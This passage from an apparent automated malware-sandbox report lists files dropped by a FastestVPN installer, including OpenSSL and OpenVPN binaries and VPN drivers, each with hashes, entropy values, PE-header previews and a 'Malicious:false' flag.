                                                                                                                    Entropy (8bit):6.105770368598401
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:+VwASO4GIU6injGtlqBGqgOtUyrQ8SFJnofeT5W7aTNP6nZsi61o1CPwDv3uFfJe:xB+btBQQ7UQnZsY1CPwDv3uFfJe
                                                                                                                    MD5:474D774A60BCBDBB326C248D1B86C785
                                                                                                                    SHA1:C8611E2BEA720BB3B8768BB7F347DE04EAB8B00D
                                                                                                                    SHA-256:4FB11C716E57A352D0C40B83F00B73A23B16F4418247AFB0E8CA114C20ED7414
                                                                                                                    SHA-512:D25EFAE915E303AB98F86A3131E5C128BFFB0FEE7317C2F28D7A9C9836186C46FDB64008BE98EBF1B7C97F809AD4A170929583B5B899427C405C90503D3D39E0
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.Q.5.?.5.?.5.?.<..'.?.g.>.7.?.g.:.>.?.g.;.=.?.g.<.1.?.!.>.8.?.5.>.?.5.?.+.?...;.N.?...?.4.?.....4.?...=.4.?.Rich5.?.........................PE..d...g..b.........." .....p%...................................................5.......5...`...........................................0..h....4.T.....5.|.....3.......5...... 5..P..T.-.8.............................-.8.............4..............................text....o%......p%................. ..`.rdata........%......t%.............@..@.data....~....2..0...t2.............@....pdata........3.......2.............@..@.idata..T'....4..(...h4.............@..@.00cfg..Q.....5.......4.............@..@.rsrc...|.....5.......4.............@..@.reloc...z... 5..|....4.............@..B................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2276496
                                                                                                                    Entropy (8bit):6.2839627604807955
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:sqrGLY4rzqgpJdli4OLz1/SK1ULLnLWdaqTv6akDCbpCX464lnbW148y1PuDT5Wg:sqr0Y4rugpJdli4OLz1/SK1ULLLWdaq8
                                                                                                                    MD5:A928351F9555A07B7A8DCEA6B209D367
                                                                                                                    SHA1:66379948FB082D9EB390B77C4E00EFAD25062C9C
                                                                                                                    SHA-256:8993C69DAA63314019E3D33190140ACAC23704D20AB3BDF946B41969DD23B0A7
                                                                                                                    SHA-512:099DAD1E89474F449EF9EA35CC93C2C8A643AF9108FD38FFB7B748FE93F0A25553B135AC6C6E33EDB8B1AD55687CDF182C6FA3E2D5018110D0500C3E2CA35EEA
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y.p...<.....!.............0................(c.........................@........"...@... .........................A....P..........@.............".....................................p.......................R..h............................text...............................`.p`.data...|d.......f..................@.`..rdata..T............d..............@.`@.bss.........`........................`..edata..A............B..............@.0@.idata.......P......................@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...@...........................@.0..reloc.............................@.0B/4...........@......................@..B/19......i...P...j..................@..B/31..................,..............@..B/45..................@..............@..B/57..................R..............@.0B/70.....2............Z..

                                                                                                                    C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):178552
                                                                                                                    Entropy (8bit):6.1636094237053305
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:2h5CDZ37FRuI7hDEjQ777RZ7B7T7N55Fjh/YAWFOEBhzFJEB55jKTrK/T:J3bRn9ZNnB5NfKTW/T
                                                                                                                    MD5:3D0E093C2EA9BE7460BFBAD86E6FBB58
                                                                                                                    SHA1:C36EB5601DF523DE321146CF1853F899921AB519
                                                                                                                    SHA-256:810DD30ED0002E2D71937EA818F77E60B0D385D32CC61D92A466FCB6FDCE5526
                                                                                                                    SHA-512:CF4A35C0FAA30FE2B96F2A04E91AFCF9CD08ADF021031C1CEFEF8E2F4028381FD1DEABA7B744AB2245B60A623715CDE8B7C8C9D7AE52728701D773F4B26367BB
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........-......#.....L...................`.....l......................................@... .........................H.......................................t...................................................................................text....K.......L..................`.p`.data........`.......P..............@.0..rdata..,....p.......R..............@.`@.bss..................................`..edata..H............f..............@.0@.idata...............v..............@.0..CRT....,............|..............@.0..tls.... ............~..............@.0..reloc..t...........................@.0B........................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):113800
                                                                                                                    Entropy (8bit):6.497871168162335
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:NADrSog8rBPCmGxRmZZlfzaag8fPrZyEOE9toSK/G:qDl9PQTmZ53rZyEOE92L/G
                                                                                                                    MD5:C966B6A5F0143199FF16F8E491E2B44D
                                                                                                                    SHA1:A47ECE66964E5432551E782EC53EBFEA42845256
                                                                                                                    SHA-256:EA7E53C74D1E66FB0363A16DCCB2B893183937BF4A69770EA44D6BCD6C1A15D6
                                                                                                                    SHA-512:54292A35794B0E147BDCDE724D7101FEDD499F5799175545C5E2BB4362D6387B713EBF511EBF25B4D7E41086073E167524C401936623BB3AE8E337E3D5ADE5CF
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hw...........q......|......|......|......|.....P|.....b............P|.....P|.....P|.....P|.....Rich............PE..d......b.........." ................................................................."....`..........................................p.......}.......................................Y...............................Z..8............................................text............................... ..`.rdata..z...........................@..@.data...(............t..............@....pdata...............v..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):700040
                                                                                                                    Entropy (8bit):5.552155208041958
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:UB4x/cH7gueaxFi00ZoPqETRzRnYhUpfakLaugPoDhTMY98c8mvVfU2lvzpi/O:avziRZoXuugCtD8JmvNU2lvzpiG
                                                                                                                    MD5:6EE5C92E2918B27974086A6F24D79043
                                                                                                                    SHA1:40595B75A513BBF1BE16780784E13EFDAD2E40C7
                                                                                                                    SHA-256:86F3A19221C710CFF12607FEB00D8CD0AF932873430AD1B59C990593010EC3CF
                                                                                                                    SHA-512:F07BBE5D367D6F7474E08507F3827BDCAC5503673F2027CA139303FA573F4EEB7D82A9D88EE0F3291F53629C0644B39E2C81380B45F8E2A286FFCC326AE0E4B7
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............]...]...]..M]...]..\...]...\...]..\...]..\...]..\...]H..\...]...]o..]H..\...]H..\...]H.!]...]H..\...]Rich...]........PE..d...g..b.........." .....:...L......<.....................................................`..........................................+...N..@E..........s........L..............h.......8...........................@...8............0..@............................text....8.......:.................. ..`.rdata...)...P...*...>..............@..@.data...QM.......D...h..............@....pdata...T.......V..................@..@.idata..*W...0...X..................@..@.00cfg..Q............Z..............@..@.rsrc...s............\..............@..@.reloc..]............d..............@..B................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):244360
                                                                                                                    Entropy (8bit):6.534833630270433
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:lE2PcqwWvsYJlWewlEyDFINgMjY/fVYPCtmA+KiA/R:lE+1JYVEgFugMjXP/A0A/R
                                                                                                                    MD5:92CAE75041DFA888EE8284E7C6BB658E
                                                                                                                    SHA1:2632FD77EAEDC09977192CFAA19EAEE66F538041
                                                                                                                    SHA-256:ACEB2DBBA3948EF0D2908CAE3B2E1586AC82B700C1DE7E6420FA241EFBBB0ECB
                                                                                                                    SHA-512:F01AC04FBD3EA1FD4D39D7654DF7D97EB15D60BC9EDFDF36C92176CF8A66FC148E4ECA480F52B7283AF1B9966983F4275A4E221E2D73056A7F3F4290C4D85C17
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R."K...........#...8............`..............k................................Ub........ ......................P.. ....p...$...................................................................................................................text...t...........................`.P`.data...0%.......&..................@.`..rdata..x^.......`..................@.`@.bss.........@........................@..edata.. ....P.......*..............@.0@.idata...$...p...&...H..............@.0..reloc...............n..............@.0B........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):776328
                                                                                                                    Entropy (8bit):6.92032788063544
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:uQmCy3NeRjkpQmj3oaMtQqjoygfXq3kon9IlbgaOxQdVJJ6j5EBKX8hUk/K:vmCy3VQs9MtLjTgfa3kon9FaOdEukC
                                                                                                                    MD5:6ECA26F16FEB505B1BD0A0A25DA4AEDB
                                                                                                                    SHA1:297A6E0D660FAF9E924B2BE827D9D9DC81E4EB85
                                                                                                                    SHA-256:CD9005B83CAB43E566F287D1BB1A3DE33F2D67AD5013DC5213232A5DC5309BDB
                                                                                                                    SHA-512:78F749E1D591D9AC2C1BB3A47FA7D4099A18303357F990E97D6E531FA50FE2466C8A203504F599C74EE92DFA179CC4AFBC561C60AFD01FA103A3276E79760A46
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ R.HA<.HA<.HA<.A9..KA<.HA=..A<.'7..@<.'7...A<.'7..|A<.'7...A<.'7..IA<.'7..IA<.'7..IA<.RichHA<.........PE..L.....K.........."!................. ....... .....x................................m.....@..........................I......D...(............................... L..h...8...........................pE..@............................................text............................... ..`.data...|Z... ...N..................@....rsrc................X..............@..@.reloc.. L.......N...\..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\openssl.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):918536
                                                                                                                    Entropy (8bit):6.038516348303836
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:Kts+IUZyyi1sznLRjH0qawdB1iT7jwq7Kjn+o/J:KtLIUZPyaVH0qawP1iDwjn+oh
                                                                                                                    MD5:6F1B7C24C5FF662F4364B323F42C101A
                                                                                                                    SHA1:B74949B7A809F8139BD89BD5B96E230108A6615D
                                                                                                                    SHA-256:034248CEFD5BC35A927682E44B79C354A0AEE25E800CF99D86EC591FD8722B5A
                                                                                                                    SHA-512:B13B4A46FB14C687925DE21982C4DE66C201E9FE16D7C03B2C65900CEF47C5E6DB338545E868EE6216C2A92453557BEA6C0D084B5D76A731CAA00BA821FA40E0
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...../...................H................@.................................n.....@... .........................N.......(................................a...................................................#..`............................text...............................`.P`.data....%.......&..................@.`..rdata..D...........................@.`@.bss.....G............................`..edata..N...........................@.0@.idata..(...........................@.0..CRT....4...........................@.0..tls.... ............0..............@.0..reloc...a.......b...2..............@.0B/4...........P......................@..B/19..........`......................@..B/31.....]............8..............@..B/45.......... .......T..............@..B/57..........@.......p..............@.0B/70..........P.......x..............@..B/81..........`.......~..

                                                                                                                    C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):865416
                                                                                                                    Entropy (8bit):6.558002511161394
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24576:dxRZrLEvOx+pFpQlzLyPkET7c5zaSjLUVaoNkUNBKsEpX:dtUmxmpQFLyPkEixWi
                                                                                                                    MD5:A151697A9F14639BFA2CB3E470CEA355
                                                                                                                    SHA1:FA45D614ABFF2ED9A707E3DFC02F404CFC18A89F
                                                                                                                    SHA-256:4794C710A3E624B1A0D956CFE21EC0433FD85BD2D8EB96ACE3F2B5E5302E225C
                                                                                                                    SHA-512:888CFD3919482BB56A15E23A73C868C277CA925EED122327E3399C23D0D647F07B9CD67CCAE28AFD1048A41710DA50126B38E75D7455F56AA95BBECA42D228BF
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........*.w.K.$.K.$.K.$.3.$.K.$.>.%.K.$.$l$.K.$.>.%.K.$.>.%.K.$.>.%.K.$w>.%.K.$w>.%.K.$. .%.K.$. .%.K.$.K.$.I.$w>.%.K.$w>.%.K.$w>n$.K.$w>.%.K.$Rich.K.$................PE..d.....b.........."...........................@....................................q.....`.........................................Pd..P....d..........8....P...^..................................................`...8............................................text.............................. ..`.rdata..^...........................@..@.data...............................@....pdata...^...P...`..................@..@.rsrc...8...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):68744
                                                                                                                    Entropy (8bit):6.03232541602541
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:OhNHth2MbtFwpJgYCV7JToLDkhqQovzeTJdCK/C1:OhHTbtsRCskcQovzeTJdCK/a
                                                                                                                    MD5:41E94A80206A87D947CE6CF5823494BE
                                                                                                                    SHA1:558214579EE8F2732C36F779E545BA1340191E49
                                                                                                                    SHA-256:E4275E6430AE1EC21A5CD0F2FC382998DEBC1E433A66129527C1B69792F09F95
                                                                                                                    SHA-512:54B0DD18BA43C48B3FC21E4366D7D1DC65147A84AFA3DC29D94C4CF80B49FA67150B8303F576683F712E648CAFF516BFEA3A6F93435D6B33DCAB2C43BC762E35
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z..h...h...h.......h......h......h......h......h......h.......h...h..ih.......h.......h...h...h.......h..Rich.h..........PE..d.....b.........."......r...|.......v.........@.............................@............`.................................................x...T.... .......................0..p...................................@...8............................................text....p.......r.................. ..`.rdata...W.......X...v..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..p....0......................@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):27784
                                                                                                                    Entropy (8bit):6.488306745612165
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:YVfdXePAee0fxvSDv2atBymU+DpbGEgivBpnpwK3CrFqa2S0FP27NBYearrDVY:afdXfOvObbU+Nb5RgrFq7rK/YfrDS
                                                                                                                    MD5:41C55E2A9D5D9B23C08E3DC067780DC7
                                                                                                                    SHA1:1FB62C7FCF24F604676896121C1CCAFB628C1BE1
                                                                                                                    SHA-256:D76995DCE5A5A3B0D77ABB438C14504F9825A6BC98676F1BA8D0CC18CEBB0545
                                                                                                                    SHA-512:396E8878BAFCFC0DF994B9AF23176D343230B6F6EE82A71E14EFA56347EF0C63B4D277C029EF9FB3EF69D6F1B8AE73ECF92D8DCEDC9312E0C8BFA86EC0B611D2
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....7X.................6...........T... ...`....@.. ....................................@..................................T..K....`...............>............................................................... ............... ..H............text....4... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............<..............@..B.................T......H........1..."..........|0..p...........................................6.(.....(....*...0..S............(....o.....s.......o....s.......o......o.........&..o............9.....o.....*.......#..6........../E.......0..E............(....o.....s.......o....s.......o.........&........9.....o.....*.........#../..........!7.......0..M.......~....s......o.....;.....o......#......$@(....o.........&........9.....o.....*...........,7..........4?.......0..M.......~....s......o.....;.....

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):77064
                                                                                                                    Entropy (8bit):6.309512423177142
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:c3PLyOk59e89l4oTvomRuJeE3dwifb2CLXlYvcM:ML45g0lKPLwifb2CLXcx
                                                                                                                    MD5:760475CD23CE23410F37558452B28545
                                                                                                                    SHA1:68ED3626CE9ABE090B960EEB909C4324205DDEF0
                                                                                                                    SHA-256:113A6934823339B6873D8CE80F629F37BFA912C4B8201428222025754BFEFA7F
                                                                                                                    SHA-512:AB9AEF1013B579784C062D2ED30DAB86DAE541862B7C02FF19943D0987A5C7FC8B12A2C8ABCDB521123DB2E8BC1B806834C80E6C43C33164A004D37A59AE725A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.#Rv.M.v.M.v.M.v.L...M.....q.M.....r.M.....s.M.......M.....w.M.....w.M.Richv.M.........................PE..d....m.\.........."..........0......d0.......................................`...............................................................0..P....@....... ...............P......P...................................................H............................text...n........................... ..h.rdata..D...........................@..H.data...............................@....pdata....... ......................@..HINIT....d....0...................... ....rsrc........@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-56JKD.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):77064
                                                                                                                    Entropy (8bit):6.309512423177142
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:c3PLyOk59e89l4oTvomRuJeE3dwifb2CLXlYvcM:ML45g0lKPLwifb2CLXcx
                                                                                                                    MD5:760475CD23CE23410F37558452B28545
                                                                                                                    SHA1:68ED3626CE9ABE090B960EEB909C4324205DDEF0
                                                                                                                    SHA-256:113A6934823339B6873D8CE80F629F37BFA912C4B8201428222025754BFEFA7F
                                                                                                                    SHA-512:AB9AEF1013B579784C062D2ED30DAB86DAE541862B7C02FF19943D0987A5C7FC8B12A2C8ABCDB521123DB2E8BC1B806834C80E6C43C33164A004D37A59AE725A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.#Rv.M.v.M.v.M.v.L...M.....q.M.....r.M.....s.M.......M.....w.M.....w.M.Richv.M.........................PE..d....m.\.........."..........0......d0.......................................`...............................................................0..P....@....... ...............P......P...................................................H............................text...n........................... ..h.rdata..D...........................@..H.data...............................@....pdata....... ......................@..HINIT....d....0...................... ....rsrc........@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):72304
                                                                                                                    Entropy (8bit):6.723888135179154
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:IPxegyYti+IPp+RmwN/jlzQH8rzn3oZrx+vJcRUf:jgLQPp+EwN5K8rcZrmq
                                                                                                                    MD5:5EE29684A6D1E66FD1590742620448EE
                                                                                                                    SHA1:71DB43CA9730411BADD39AB2631A1346EF740AAA
                                                                                                                    SHA-256:3506C17F79A4F38482DE5B5835484C7127B9903A9412FB6B668BE441D83D8B30
                                                                                                                    SHA-512:5F0E00DAC143ED9995B5FECD023EA950FC7A37691E5A4DEF24DAB0DCBDE058787CD4997BE8B2BBE948E5CCA96E80112F55BA8DE7BDD39D264709813B67FDDC0D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..f;..f;..f;..f:..f;......f;......f;......f;......f;......f;.Rich.f;.........................PE..L....m.\.....................,......>.......................................................................................P...d.......................p:..........................................0...@............................................text............................... ..h.rdata..`...........................@..H.data...............................@...INIT................................ ....rsrc...............................@..B.reloc..^...........................@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-U4BRD.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):72304
                                                                                                                    Entropy (8bit):6.723888135179154
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:IPxegyYti+IPp+RmwN/jlzQH8rzn3oZrx+vJcRUf:jgLQPp+EwN5K8rcZrmq
                                                                                                                    MD5:5EE29684A6D1E66FD1590742620448EE
                                                                                                                    SHA1:71DB43CA9730411BADD39AB2631A1346EF740AAA
                                                                                                                    SHA-256:3506C17F79A4F38482DE5B5835484C7127B9903A9412FB6B668BE441D83D8B30
                                                                                                                    SHA-512:5F0E00DAC143ED9995B5FECD023EA950FC7A37691E5A4DEF24DAB0DCBDE058787CD4997BE8B2BBE948E5CCA96E80112F55BA8DE7BDD39D264709813B67FDDC0D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..f;..f;..f;..f:..f;......f;......f;......f;......f;......f;.Rich.f;.........................PE..L....m.\.....................,......>.......................................................................................P...d.......................p:..........................................0...@............................................text............................... ..h.rdata..`...........................@..H.data...............................@...INIT................................ ....rsrc...............................@..B.reloc..^...........................@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):104424
                                                                                                                    Entropy (8bit):6.366713641084616
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                    MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                    SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                    SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                    SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-3BVSP.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):104424
                                                                                                                    Entropy (8bit):6.366713641084616
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                    MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                    SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                    SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                    SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):104424
                                                                                                                    Entropy (8bit):6.366713641084616
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                    MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                    SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                    SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                    SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-5MIQQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):104424
                                                                                                                    Entropy (8bit):6.366713641084616
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                    MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                    SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
